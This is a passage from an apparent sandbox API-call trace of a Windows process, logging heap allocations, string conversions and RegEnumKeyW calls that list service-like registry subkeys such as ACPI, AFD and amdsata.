(HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0247.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bf8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0247.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0247.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0247.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0247.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0247.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0247.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0247.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0247.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0247.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0247.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0247.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0247.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0247.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0247.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0247.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0247.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0247.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0247.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0247.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0247.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0247.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0247.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0247.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0247.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0247.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0247.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0247.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0247.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0247.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0247.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0247.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0247.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0247.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0247.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0247.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0247.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0247.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0247.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0247.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0247.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0247.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0247.886] RtlAllocateHeap 